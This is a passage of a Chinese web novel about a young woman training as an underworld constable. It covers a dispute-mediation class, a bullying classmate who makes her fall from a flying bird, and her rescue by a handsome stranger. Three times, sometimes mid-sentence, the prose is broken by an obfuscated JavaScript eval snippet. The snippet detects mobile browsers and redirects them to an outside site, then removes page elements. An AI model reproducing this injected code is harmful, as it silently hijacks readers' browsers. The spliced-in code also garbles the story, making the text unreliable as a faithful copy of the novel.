天界汲灵气为万千魂魄,送入地府轮回井,投胎在人间。为权贵者,一生享福,是为天人道;为妖精者,则形貌秀美,欲念与情感都更强烈,是为修罗道;庸常大众,比上不足比下有余,是为人道;穷困者,缺食少爱,永难餍足,是为饿鬼道;作恶者,魂魄污浊,坠入十八层地狱,受种种苦楚,是为地狱道,罪恶沉重者将在酷刑后灰飞烟灭;罪行轻者,可自地狱道出脱后,投生为各类动物,再难投胎成人,是为畜生道。 所以说是六道,但也只有三界而已,大家不能因为变了灵魂就作恶,坏事做多还是要下地狱的。 校长魏玄成亲自带《地府官制与法治》,这门课枯燥繁琐,但既然是校长亲自教授,学员们轻易也不敢逃课溜号。好在这门课只需要熟读熟记就好,对祝平安来说难度倒是不高。魏校长作为唐代的老游魂,还经常在讲课时穿插一些地府的历史。 据魏校长说,地府原本的职能只有六道轮回井和十八层地狱,管理者也只有十殿阎王跟判官、无常、鬼卒们。换句话说,地府最开始只是灵魂的中转站而已,管理者只从事运输、核验、筛选工作,再额外客串典狱长和狱警而已。 这套系统在民国之前都运转的挺好,但随着人间出生率下降,游魂投胎越来越困难,阴间鬼口越来越多,这才形成了城市和各种各样的地府部门,从而维持地府的基本秩序。 因此,地府官制其实发展时间也不长,管理相当扁平化。掌管轮回井的后土大神名义上统领地府,但实际事务都交给十殿阎王来办。 阎王之下是三十四个州府,州府的最高长官是府君,他们就相当于省长了,祝平安所在的羊城府由于是阴间的首府,所以十殿阎王都在羊城府驻扎。 府君再往下,就是主持各部门工作的部长,张松鹤张部长就是这个级别。至于部长之下,统一都是差役,也就是祝平安他们未来要做的岗位,一共才五级管理,在管理学结构上来说相当高效了。 而《各族日常用语》这门课,更是老大难。地府游魂包罗万象,各种族裔都有,为方便开展工作,所有差役都必须掌握各种语言的基础用语。 虽说大家只需要学习各族语言中最基础的语句,类似“是”“否”“你好”“再见”“我是差役,请你配合”等,但累计下来要学的数目也是惊心动魄的。 教授言语的过程中,也难免会讲到地府现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837483|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存的种族,祝平安也就是在这堂课上知道,她考试那天见到的能探查作弊的小动物其实名叫啮金,以金属为食,故而对于一切金属的气味都非常敏感,能充当金属探测器使用。 授课教师是地藏王菩萨坐下的神兽谛听,能够听懂所有生物的心声,也就是说他通晓所有的语言,无论是人族的泰语、俄语、斯瓦西里语,还是猫语、狗语、河马语,他统统都懂。 这位老师长着虎头、犬耳、龙身、狮尾、麒麟足,乍一看有点吓人,仔细一学更吓人——太严格了!这门课实用性质强,谛听老师对于大家的发音看得很重,每天都会布置大量的口语作业,一副不把大家的外语训练成母语不罢休的架势。 当祝平安试着用她人类的舌头,发出蛇类分叉信子的嘶嘶声时,她由衷的感觉到,死后来到阴间是不荒谬的,来到阴间学狗汪猫喵□□叫才是真正的荒谬。 刑侦学则是祝平安难得比较喜欢的课程,授课教师不是别人,正是唐代神探狄仁杰。狄老师是个和蔼风趣的老头,授课方式非常有趣。 他总是先在课堂内布置好案发现场和证词案卷,让学员们自己勘验现场,搜索出蛛丝马迹,最终推演出真相,与其说是上课,还不如说是做游戏。 祝平安上了一次狄老师的课之后,大为赞叹,虽说她自己没什么刑侦的脑子,但能旁观其他天分异禀的同学推演凶手,也是一种难得的享受,知识也更容易记得牢。 在狄老师的课堂中,最出风头的是白子欣,这小子天生的过目不忘,往往能通过一点细节就抓出整个犯案线条。而且他对于机关和新技术的热情又很高,时常在课下缠着狄老师,热火朝天地商讨新技术犯案的可能性,还真给了狄老师不少布置课堂的灵感。 这对师生相见恨晚,短短几天下来,白子欣就俨然成了狄老师身边的第二个元芳了,引得有些同学很嫉妒。 “凶手是先用绳子绑住石头,再将绳子穿过墙上的窥视孔,随后人在屋外拉动绳子,将重物牵引至屋门处,堵住门口,再放火将绳子烧成灰烬,造成死者自己用石头堵门的假象!有能力做到上述事件的只有某甲!” 这天,在白子欣又一次激情澎湃地梳理出凶手构建密室的手法后,狄老师满意地宣布下课,祝平安也钦佩地拍手,她虽然也看出来这密室肯定有诈,却死活也想不出来凶手是怎么用石头堵住大门的。 下一堂课是《公共安全管理》,白子欣跟祝平安结伴去上课。推门进入教室前,两个人都深吸一口气——然后一脸视死如归的踏入房间。 房间前半截凌乱不堪,几位五六十岁的大爷大妈嗑着瓜子扯闲篇,几个小孩子尖叫着在房间内跑来跑去,地上除了瓜子壳,还有画册、积木、布娃娃、扯碎的卫生纸,场面十分和谐。 “给我玩一下!”一个鼻涕小妞看见隔壁的圆脸小男孩在玩一个布娃娃,上前索要了。 “不给,我还没玩够啦!”圆脸男孩不松手。 “给我给我嘛!”鼻涕小妞耍起蛮来,上前扯住了娃娃不松手。 “都说了不给了!你真讨厌!”圆脸男孩生气了,抡起娃娃,照着鼻涕小妞就来了一下。 这下可不得了了,鼻涕小妞躺在地上大声嚎啕了起来,双方的爷爷奶奶也随之加入了战团,互相指责对方的小孩不讲理,双方互飙脏话,场面不可开交。 房间后半段,其他生无可恋的学员像是鹌鹑一样垂着头缩在房间的角落,一个高挑俊美的男子面带笑容回过头来,古朴的银色耳饰在脸颊侧面闪着光:“现在人齐了,我们开始上课。” 15. 公共安全管理 “学员们,几位助教为我们真实还原了一个典型的矛盾纠纷场景,大家想一想,如果你是接到案子的公共安全部差役,要如何解决呢?” 尖锐的儿童啸叫和粗旷的大爷国骂在教室里比翼齐飞,噪声直刺祝平安的耳膜,她看着授课教师那可恶的笑容,只觉得有种被骗上贼船的无力感。 没错,教《公共安全管理》的,正是那个推荐她来考试的张、松、鹤! 张部长的教学方式和狄老师同出一脉,都是喜欢实景教学,但张松鹤的教学方式比狄老师更进一步,他不光是模拟案发现场,而是更进一步,直接把案发现场搬到教室来。他会在使用小小的障眼法,让群众看不到也听不到自己正在被人观察,这些大爷大妈还以为这里是公共休息室呢,放松的很。 祝平安曾以为公共安全是维持活动秩序、巡逻片区、打击坑蒙拐骗,万万没想到,居然每天学习的都是处理“张三的狗咬了李四的鸡”这种案件。 关于这点,张松鹤老师在第一堂课就温柔又无情地告诉了全体学员:什么踩踏、疏散、转移等大案件基本上一百年都遇不上一回,真正的维系公共安全,就是劝甲不要打孩子,求乙栓绳遛狗,凡事能和解就和解,把纠纷化解在萌芽才是真的。维护公共安全很多时候靠的是嘴皮子,跟大家心目当中的威风八面一点关系都没有。 “卫珑同学,你先来试试?” “噗!”白子欣第一次听到这个名字,忍不住窃笑了起来,他小声跟祝平安吐槽:“卫龙?还麻辣王子呢!这妹子家里是开辣条厂的吗?” 他的声音虽然放的很小,可那个叫卫珑的妹子似乎耳朵很灵,狠狠瞪了一眼白子欣跟祝平安,卫珑高傲地走上前。 “都不准打架!我是差役!”卫珑同学上来就大吼一声,“十八层地狱最近可是空得很,再闹事就都跟我走一趟!” 话语刚落,鼻涕小妞的奶奶,一个花棉袄大娘立刻咕咚一声跪在地上:“官爷!我给你跪下了,要抓就抓我吧,别抓我家孩子!” 周遭群众立刻对着卫珑指指点点了:“差役怎么这么横啊!好大的威风!” “就是!带头欺负人!十八层地狱是她家开的吗?” 卫珑头上有点冒汗了,她赶快去搀扶那个大娘:“有话起来说,跪在这里像什么样子!” 花棉袄大娘一看卫珑态度软了,更是哭着往地上赖,死活不起来:“我也不想活了,这什么世道,我的孙女让人欺负了,反而要抓我……” 一回合,花棉袄大娘vs卫珑,卫珑败! “白子欣,你去支援一下卫珑同学。”张松鹤再次点名了。 “大娘,一点小事而已,至于吗?”白子欣认命地上前,他在花棉袄大娘和鼻涕小妞之间扫视了一番,最终还是选择对小孩下手。白子欣在脸上挤出亲切的笑容,蹲下身来:“来,差役哥哥跟你说,小朋友要学会分享,他先玩十分钟,你再玩十分钟,我们不打架了好不好?也告诉爷爷奶奶,吵架是不好的行为哦~” 鼻涕小妞盯着白子欣,嘴巴一撇,非常不给面子地哇哇哭起来:“凭什么!凭什么他先玩我后玩!你跟他是一伙的!你欺负人!奶奶快来,他们合伙抢我东西!” 花棉袄大娘一把抱住小孙女,她脸上的眼泪还没干,眼睛里已经冒出怒火,跪在地上对着白子欣一转攻势:“太欺负人了吧,你们差役太欺负人了吧!连这么小的孩子都不放过!居然还抢我们孩子的东西!快来人呐!差役带头抢劫啦!” 围观群众又立刻对白子欣指指点点了:“还差役呢!连小孩子也欺负!” “不要脸,居然让这种人做差役!” “大娘!别嚷嚷!我不是那个意思!”白子欣抱头抓狂了! 二回合,白子欣vs祖孙俩,白子欣败! 看着两名学员都不是大娘祖孙一合之敌,张松鹤笑的更欢畅了,学员们则更加战战兢兢了。 “这两位学员为我们展示了两个典型的错误。”张松鹤开始教学了,“卫珑同学态度强硬,白子欣同学平易近人,这都没有错,但他们没有看清楚场景,而决定我们用什么态度来处理事件的,恰恰就是场景。” “现在是什么情况?双方因琐事争吵,都觉得自己吃了亏,但还没有升级到暴力冲突,所以我们的态度不能强硬,这样会激起群众反感;但也不能柔声细语,这样树立不起威严,群众不会听你说话,而且会更加放肆。” 下面的学员纷纷开始记笔记,祝平安一边刷刷地写字,一边也在心里暗想,如果是我的话,我会用什么办法来解决冲突? 这些老人孩子软硬不吃,真令人头疼啊……三十六计里有什么能用的吗?围魏救赵?瞒天过海?擒贼擒王?好像都没什么用,走为上计还差不多…… “祝平安!”正在她冥思苦想的时候,张松鹤已经悄无声息地走到她跟前,把她吓了一跳。“你去试试看。” 张松鹤停了一下,看祝平安傻乎乎地盯着他,意味深长地补上一句:“可别让我失望哦。” 这话里包含着只有他们俩人知道的意思,祝平安一噎,真奇怪,每次对上张松鹤,她潜伏在骨头里的那股子倔劲,就会不由自主地被激发出来。她梗着脖子站了起来,打算放手一搏了,反正她还只是学员而已,就算处理的不对,那天塌下来,也先砸张松鹤! “卫珑、白子欣,你们在这干什么哟?”祝平安走上前,装出来一脸惊讶,“不是跟你们说了,下课后先去食堂门口领免费鸡蛋吗?一个人二斤,去晚了可就没了!” 二斤免费鸡蛋! 围观的大爷大妈眼睛刷刷地亮了,立刻就有一个大爷按捺不住地发问了:“是谁都可以免费领取的吗?” “是呀,好像是有个日用品商店在那开了个展销会,只要参加那个会,就可以拿到免费鸡蛋。”祝平安拼命回想自己在人间的时候看到的案例,说的跟真事一样。“不过好像只限前一百名吧,去晚了就没了。” 卫珑和白子欣被大妈的火力压制的差点跪在地上,看着她在这胡说八道,眼睛都瞪大了。然而大爷大妈们似乎很相信:“在哪里?” “从这出去,左拐,右拐,再左拐,然后就看到了。”祝平安信誓旦旦。 “小丽,咱们快点走吧,二斤鸡蛋呢!” “大孙子,跟爷爷走,今天有事,明天再来玩!” 在鸡蛋的诱惑下,大爷大妈们谁还有闲心看无关痛痒的热闹?个个都跑出了曹操的速度,生怕赶不及领鸡蛋。一眨眼,屋里只剩下两个刚刚打架的小孩,以及他们双方的家长。 围观群众都走了,屋里只剩下对头,花棉袄大娘自觉跪在地上有点矮人一截,不用人扶,她自己就站起来了。 祝平安没理她,而是先把鼻涕小妞抱了起来,心里暗暗想着张松鹤刚刚教的东西,“我是负责这间休息室的差役,来了解情况的,说吧,哪里疼?” 她语气四平八稳,不喜不怒,加上少了群众撑腰,花棉袄大妈自觉有点虚,想要大声嚷嚷,也指摘不出来什么,只得瘪了瘪嘴:“他们家那个孩子刚刚拿洋娃娃砸我们孩子的头了!” 祝平安向白子欣使了一个眼色,白子欣会意,立刻在地上把洋娃娃捡了起来,一捏:棉花做的,非常柔软,显然造不成任何伤害。 花棉袄大妈也看出了,被这娃娃砸一下没什么事,自己有点小题大做,但还强撑着嘴硬:“万一要是打到我们孩子眼睛呢?这都是说不准的事情!” “这话说得对,不管怎么样,动手打人都不成,您说是不是?”祝平安转过身,两眼紧盯着另一个小孩的爷爷。她身量颇高,比那位爷爷高了半个头,一眼横过来隐隐有些威压,“再说了,她们家是个姑娘,您家的是个男孩,就算有口角,男孩子哪能先动手打女孩子呢?还能叫男子汉吗?” 其实是鼻涕小妞先动手抢玩具的,对面小孩的爷爷本有点不服气,但祝平安说到“男孩不能打女孩”,爷爷倒是挺认可。他往自家孙子背上拍了一下:“你这娃娃,不争气的很!好男不跟女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837484|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗,你怎的跟女娃一般见识!快给人家道歉!” 这位爷爷一边说,一边翻了花棉袄大妈一个白眼,意思是自己也“好男不跟女斗”了,圆脸小男孩走上前,不情不愿地给鼻涕小妞鞠了个躬:“对不起,我不该动手打你。” 还没等鼻涕小妞回话,祝平安立刻转向花棉袄大妈:“人家孩子都道歉了,咱们孩子也没伤到,您大人有大量,原谅这孩子吧?” 好男不和女斗,大人又怎好意思跟孩子斗?看着小男孩躬身道歉了,花棉袄大妈也算有了下台阶。她从鼻子里哼了一声:“算了算了,以后注意就行了。我们也得赶快回家了,还得做饭呢。” 三言两语,事件就结束了,看着矛盾双方安安静静地离开了现场,卫珑和白子欣都惊呆了! “啪啪啪啪啪!”张松鹤鼓掌了,“果然没有让我失望!祝平安同学为大家做了非常棒的示范!请大家掌声鼓励!” 学员们都跟着鼓起掌来,白子欣的掌声尤其响亮,只有卫珑哼地一声把头扭了过去。 被当众表扬了,祝平安脸有点红,心跳也变得很快,她勉强压抑着心跳,向大家鞠躬致谢。 “祝平安同学,给大家讲一讲,你是怎么想到先把围观群众疏散掉的呢?”张松鹤发问了。 祝平安想了一下,答道:“小的时候,每次家里来客人,我那天就会不写作业,还玩到很晚都不上床睡觉,因为只要客人还在,我妈就不好意思动手管教我。” “所以我想,刚刚那个大妈这样撒泼,是不是也吃准了有人在场时,我们差役也没法真正处置她呢?” 台下的学员神色变幻,似乎都想起了自己的童年往事。张松鹤也微微一笑,相似的经历人人都有,但能想到以此为参照处理纠纷,就不是人人都能有的能力了。 “祝平安同学的处理手法非常精准,大家要记住,解决纠纷时首先要解决‘聚众’问题。”张松鹤开始讲解了,”第一,万一事件升级成暴力冲突,围观群众可能会受到伤害。第二,只要处于有人关注的情景里,当事人的情绪就很难冷静下来。说白了,只要有人在看,他就会觉得自己有人群撑腰,我们是不能把他怎么样的。” 下面的学员受教地点点头,张松鹤看了一眼祝平安,再问道:“但是,你是怎么想到用免费鸡蛋这个由头来疏散群众的呢?” “嗨,人虽然是喜欢看热闹,但还是对自己的切身利益最关心。”祝平安一耸肩,“人家的孩子打架,跟他们有什么关系,在这里围观跟拿二斤鸡蛋比起来,肯定还是要鸡蛋更划算呀!” “说得好!”张松鹤再次对着学员们划重点了,“调解时,你要抓住最核心的东西,也就是群众的切身利益,围观群众觉得二斤鸡蛋更重要,而当事人就会觉得,自己家的孩子不吃亏最重要。所以当发现孩子没受伤,又获得了道歉后,她也就不会再纠缠下去。” “最后一个问题。”张松鹤盯着祝平安的脸,慢悠悠的问了出来:“食堂门口哪有免费鸡蛋?你放出假消息,就没想过怎么收尾吗?” 祝平安仰脸看着张松鹤,突然狡黠地笑了起来,这一笑,让她脸上多了种别样的俏皮:“张老师只是让我去解决纠纷,我能力有限,只能解决到这,现在,我请求上级支援,请张老师想想办法!” “哈哈哈!”张松鹤忍不住笑了出来,这姑娘真是太有趣了!他带着几分欣赏、几分无奈,用手指点着祝平安的方向,“你呀你呀,还真是有几分小聪明!胆子大,脸皮厚,办法活,是干我们这一行的料!” 他转向其余学员:“现在,祝平安同学为我们展示了终极办法——呼叫支援!当事件发展超出了你的能力范围,及时请求上级帮助,也是非常必要的,大家一定要记在心里。” 真是一堂生动活泼、干货满满的课程!学员们疯狂点头,尝试消化这些知识。很快,下课铃响了,学员们陆陆续续走出教室。张松鹤消去了障眼法,关好教室门,顿了一下,最终还是快走几步,向着学员们的方向追去。 16. 空中事故 “放松,深呼吸,不要怕……”金毛毛安抚地拍着祝平安的背。 “呼——吸——呼——吸——”祝平安脸色惨白,跟着深呼吸。 “平安,你呼吸就呼吸,别揪我尾巴呀!”金毛毛提出抗议了,祝平安低头一看,果然,她不知不觉就把金毛毛的大尾巴抓在手里,差点把人家的毛都薅下来了。她赶快放手:“对不住,我不是有意的。” “哎,这都一个星期了,这样下去怎么行啊?”叶霆霓驾着送魂鸟,轻巧地悬停在祝平安身边,“弄玉老师已经忍你很久了,现在全校的学生就你一点进步都没有,一周了还不敢上鸟鞍。今天不管怎么样,你一定要上去呆五分钟给她看看,要不然,我看她要扣你平时分了!” 祝平安扭头一看,教送魂鸟驾驶这门课的弄玉老师果然就在不远处,虎视眈眈地看着她。这位教师是秦国公主,第一次见到凤凰,就敢直接骑上去并且无伤直飞天界,胆识和飞行天赋都是顶尖级别,正因如此,她理解不了世界上怎么会有祝平安这样不可雕的朽木。 祝平安也知道早晚要过这一关,她惨白着脸无力地笑了笑,不知道是不是上一次乘坐送魂鸟的经历给她留下了太深刻的印象,她现在一看到那鸟就头晕目眩想吐,更别说要骑到它背上了。“我尽量试试吧,等我晕过这会儿就去……” “你们各自练习去吧,我在这陪着她,她闻到我身上的气味,也有安神的作用。”桂中秋也走了过来,“一会儿你上了鞍,我牵着你的鸟儿在地上走一会儿,不离开地面,你会感觉好一点的。” 由于这节课是公共课,不同部门的朋友也都跟她一同上课,看着大家关心的眼神,祝平安也觉得身上有了些力气,她点点头,同意了这个方案。 “放松,身体不要绷得那么紧,这样鸟儿不舒服就会乱甩,你也就更紧张了。”桂中秋把祝平安扶上鸟背,指点她身体的姿势,“我慢慢地走,你不要怕。” 祝平安紧张地大气不敢出,好在桂中秋身上的香气当真能够舒缓人的精神,加之鸟儿没有离开地面,祝平安逐渐觉得没那么紧张了。 万里长征第一步总算迈出去了,桂中秋满意点头,轻轻一甩鸟儿的眉毛:“操纵鸟儿很简单,它的眉毛很敏感,能感受到你的一切手势。向上甩就是上升,向下压就是下降,现在我们稍微离开地面一点点,你来感受一下。” 鸟儿收到信号,立刻飞了起来,虽然只是离开地面三尺,祝平安还是一阵紧张。桂中秋一直观察着她的脸色,等到她脸色稍微好了些,才牵着鸟儿慢慢向前飞。两个人就以这样老牛拉车的速度绕着操场走了一圈,祝平安有点不好意思了:“桂姐姐,我自己一个人也可以了,你也去自己练习吧。” “真的吗?”桂中秋看着她的脸色确实好了一点,这才让她自己牵着鸟儿,“你要循序渐进,先到初学者的区域去试飞,别太大意。” 跟其他几门课不一样,送魂鸟这种生物其实是很受欢迎的交通工具,就好像阳间的汽车一样,普及化程度很高。所以许多学员早就会驾驶送魂鸟了,这门课对他们来说是送分科目,不会骑的也或多或少接触过,上手都不算慢,甚至有些人已经敢于在空中追逐着做特技动作了。 只有祝平安这种晕鸟症、白子欣这种家里蹲才是彻头彻尾的初学者,为了这些人的安全,弄玉老师还特意划分了一个新手区域,专供他们练习。 祝平安胆战心惊地自己牵着鸟儿,发出前进的信号,鸟儿慢吞吞向着初学者区飞过去。白子欣也在那个区域做练习,林四梅正在陪他练习怎么加速,看到祝平安来了,便正好连她一起教。 “两只手用力捏紧送魂鸟的眉毛,就是加速。你用多大的力气,鸟儿就会飞多快,你们自己试试。” 祝平安依言尝试,才用力捏了一下,鸟儿就像通了油门的电动车一样猛窜出去,吓得她赶快撒手。 “不能撒手!”林四梅立刻叫停,“无论如何都要抓好,否则你会掉下来的!” “哼,像你这样教,她什么时候能学会?”身边突然传来一个尖刻的声音,一个妆容精致的女孩驾着送魂鸟,一个漂亮的冲折停在他们身边,“祝平安同学聪明的很,无师自通,这点小事怎么能难倒她?” 说话的女孩正是卫珑,她颇有兴味地挑着眉毛,欣赏着祝平安惨白的脸色,“刚刚祝同学还非常伶牙俐齿呢,三言两语就摆平了那些大妈,怎么,现在一句话都说不出来了?” “喂!我们练习关你什么事?干你自己的事情去,别在这打扰别人!”白子欣看不过眼,出声呵斥卫珑了。 卫珑漂亮的眼睛一眯,认出白子欣正是在公共安全管理课上嘲笑她名字的人,一股子火气更是往上撞。她出身优渥,从无一人敢对她无礼,加之聪明漂亮,自幼便是兄弟姐妹间最拔尖的一个,父母视如掌上明珠,更是养出了她骄傲要强的性子。 眼前这两个人,一个敢偷偷嘲笑她的名字,倒还罢了;另一个更是在课堂上做出了她解不出的难题,成了师长眼里的宠儿,居然把她给比下去了,让她如何咽下这口气? 别以为有几分小聪明,就能把我踩下去了,一定要想法子冲一下她们的锐气,好叫她们知道,我才是最优秀的学员,想要跟我比,她们还差得远呢!卫珑眼珠子一转,看出两人都是刚刚开始学习驾驶送魂鸟,立刻有了主意。 “怎么能叫打扰别人?”卫珑笑眯眯,驱动自己的鸟儿往前,祝平安的鸟儿感受到压力,不太舒服地往后退了退,晃得祝平安更是脸色惨白。“本小姐只是关心同学,想要帮助她早点学会怎么驾驶送魂鸟!” 林四梅不是公共安全部的学生,没参加公共安全管理课,不知道这三人之间的官司。但凭着直觉,本能觉得来者不善,她挡在祝平安两人身前:“谢谢这位同学,我来教导她们就好,你请回吧。” “你教导不得法,还是让我试试吧!”话音刚落,卫珑猛地往前一冲,林四梅早就防着她这一招,连忙上前拦截。 哪知卫珑的前冲是个假动作,只见她手腕轻巧的一转,驾驶着鸟儿潇洒至极地在空中掉头回旋,林四梅眼前一花,卫珑已经突破了她这一关,向着白子欣直直扑去。白子欣毫无思想准备,条件反射地身子一歪,全忘了自己身在鸟背上,立刻大头朝下栽了下去。 “小心!”林四梅顾不上去追卫珑了,她一个标准地飞身前扑,总算抢在白子欣脑袋着地前扶了他一把,“没摔坏吧?” “别管我!”白子欣指着空中,急的声音都变调了,“快去救平安姐!” 另一边,张松鹤正往操场上走,打算去寻找祝平安,问问她在这里适应的怎么样。谁知刚踏进操场,就听得附近传来一声鸟儿吃痛的长鸣。 他抬头一看,只见初学者区域,一个女学员驱使着自己的鸟儿,狠狠地啄向另一个人的坐骑,那人的坐骑受惊不小,当下鼓起双翼,迅速飞上天空,险些把背上的人都摔下去。 可那女学员还不罢休,驾鸟直追上去,或是啄咬,或是撞击,把另一个人的坐骑赶得在空中团团乱飞,困惑地叫个不停,它背上的人更是被摇得东倒西歪,眼看着就要摔下来。 张松鹤的脸色猛地变了,他也来不及想别的了,一把抢过身旁学员的送魂鸟,利落地翻身上背,驱动鸟儿上前。另一边,弄玉老师也发现这里的状况不对,也开始往事发地点赶去,一边赶路还一边吹哨,让空中其他人都赶快落地,以免造成连环相撞事故。 不能撒手不能撒手不能撒手! 祝平安头晕目眩,三魂已经没了七魄,她闭着眼睛不敢睁开,耳畔风声呼啸,显然已经身在高空。她只顾着死命抓住鸟儿的眉毛,鸟儿被她扯得很不舒服,在空中翻腾的更厉害了。 “你别怕,本小姐不是针对你,这都是为你好!”卫珑得意洋洋,“想要学会游泳,在水里扑腾才是最快的;同理,想学会驭使送魂鸟,怎么能在地上学呢?必须要实践!” 祝平安本来已经吓得快没力气了,结果一听到卫珑那得意洋洋的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837485|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一股气冲上来,胳膊腿立刻又好使了。这人有什么毛病啊?她好好地上着课,没招谁没惹谁,干嘛这么把她往死里整?她一声不吭地死死抓紧鸟儿,拒绝跟卫珑说话。 卫珑没听到她尖叫求饶,觉得这教训还是给的不够,她眼睛一转,又是一个主意。“祝平安,你怎么不睁开眼睛啊?难道是怕了?原来这世界上也有你不会的事情呀?看你刚刚在趾高气扬的样子,还以为你是天才呢!祝平安,看来你这门课考不过了,要是你答应主动退学,本小姐就送你下去。我这都是为你着想,省得六个月后毕不了业,到时候更丢脸!” 一番话阴阳怪气,祝平安这会儿算是听懂了,原来这位大小姐是嫉妒她刚刚的课堂表现,这才故意让她出丑低头,只觉一阵无语涌上来。 有没有搞错啊!你这跟小学生有啥区别哟!要不是情况不允许,祝平安都快气笑了,真不知道这位大小姐是怎么长大的,怎么这么幼稚! 她懒得跟小孩子置气,一声不吭地把脸扭了过去,心中暗暗发急,弄玉老师怎么还不来救她? 她这拒不合作的样子激怒了卫珑,这位大小姐驱使坐骑,让它与祝平安的鸟儿并肩而飞,自己居然松开双手,在空中去推搡祝平安了:“喂!本小姐跟你说话呢,你听见没有!” 祝平安不防她还有这一手,吃惊之下睁开眼睛,就想去扭卫珑的手臂:“别蹬鼻子上脸,你这个小——” “啊啊啊啊!” 这一声尖叫却是卫珑发出来的,祝平安一睁眼,发现自己正头下脚上,在空中拿大顶呢,立刻两眼发花,晕眩欲呕,浑身的肌肉瘫软下来,再也抓不牢鸟儿,从空中滚落下来。卫珑本只想作弄她一番,倒没真想让她出事,看到她从天空摔下,自己也惊恐万状,赶忙伸手去抓祝平安。 她忘了自己也是身在空中,这一下猛地俯身,失去了平衡,也跟着祝平安摔落下来,忍不住怕地高声尖叫起来。 啊,原来坠楼是这种感觉,比跳楼机刺激多了。祝平安双眼迷蒙,在心中疯狂吐槽:我这是造了什么孽?一辈子死一次就差不多了,怎么我偏偏要死两次哟!还死的这么刺激!之前是意外而死,这次居然是因为一个幼稚鬼而死,这这这……这什么命啊? 突然,她感到腰上一紧,一阵好闻的青草香气拂过鼻尖,下一秒,她感觉自己落到了一个温暖的怀抱里。 好的,被人救了,这下不用死了。她激动地仰起头,想要看看救命恩人是什么样子:“恩公!多谢恩公救我一命,我一定——” 恩公低下头看了一眼,祝平安感激的话立刻卡在喉咙里,这个人…… 祝平安生在男色经济时代,电视上的帅哥不知见过凡几,自己又是乙女游戏的重度爱好者,五官精致到挑不出任何瑕疵的纸片人男主也谈了不少,但是,她在看到这张脸的时候,依旧屏住了呼吸。 肌肤细白如瓷,双眸皎皎如星,气度温润如玉,他驭风而来,衣带当风,蹁跹流转,如云间明月,一身清绝。哪怕只是普普通通的一垂眸,他做来居然都那么好看,即使在最狂野的梦境里、最旖旎的乙女游戏中,她都不曾见过如此的风华绝色。 一霎时,她忘却自己身在何处,周遭的世界都离她远去了,只觉胸口处一阵发热,扑腾扑腾的,好像有个什么东西要跳出来一样。 慢着,怎么好像真的有个什么东西跳出来了,祝平安尴尬地低头去看,而这位美男子恩公,也盯着祝平安胸前那块欢腾地跳出来的玉佩。下一秒,他轻轻一笑,从自己的颈中拉出一条丝线,丝线上,一模一样的玉佩跳的欢腾。 祝平安张口结舌,美男子对她轻轻颔首。 “找到你了,姑娘。” “你,你是?那个丢了准考证的?” “正是。” 美男子微微一笑,笑容仿佛一泓山间清泉,祝平安的脸不知怎么就红了,她有点害羞地低下头,不敢直视他。 “这一次,请容我正式介绍自己。我姓温,双名尔雅。” 17. 张松鹤发怒了 送魂鸟落下,祝平安被温尔雅搀扶着爬下来,总算是脚踏了实地。她刚刚站好,金毛毛就从人群里扑了出来,他跑的尤其快,一马当先扶住祝平安:“平安!你怎么样了,摔坏了吗?” 叶霆霓等室友也从乱哄哄的人群里跑过来,林四梅尤其自责:“都怪我,没有拦住她,要是你有个三长两短的,让我心里怎么过的去哟!” 白子欣更是拉着温尔雅千恩万谢:“同学,你是哪个部的?多谢你救我朋友一命,你——哎呦?你长得真帅啊,人帅心也美,我对你简直太崇拜了!” 祝平安的好人缘有点超出温尔雅的想象,他看着被金毛毛抢走的祝平安,手不自觉地动了动,最终只是回答了白子欣的问题:“我是街镇行政部的温尔雅,此前也受过平安姑娘恩惠,救她只是分内之事,不足挂齿。” 远处,看热闹的同学们也议论纷纷了:“你有没有觉得那个人有点眼熟?” “是呀,好像她帮我拎过行李……” “对对对,是那个好心的志愿者!” “我刚刚都看见了!有个女的故意惊了她的鸟,差点把这么好的人摔死!太不像话了!” “我看看那个吓唬她的女人是谁——啊!我认识,好像是叫卫珑吧,家里好像是做官的,平常就一脸瞧不起别人的样子。听说在她们宿舍也是作威作福的,连袜子都逼着室友洗,今天又做出这种事情,以后她要是做了差役,还不把群众欺负死!” “开除她!怎么能让她这样的人做差役!” 祝平安开学时拎的行李没有白费,许多学员已经对她有了很好的印象,加之卫珑的风评太差,舆论呈现一边倒趋势。不一会儿,一个“嚣张跋扈的千金小姐霸凌服务大众的好同志”的故事就传的满操场都知道了,群众那蔑视的目光像是刀子,都唰唰唰地往卫珑身上抛。 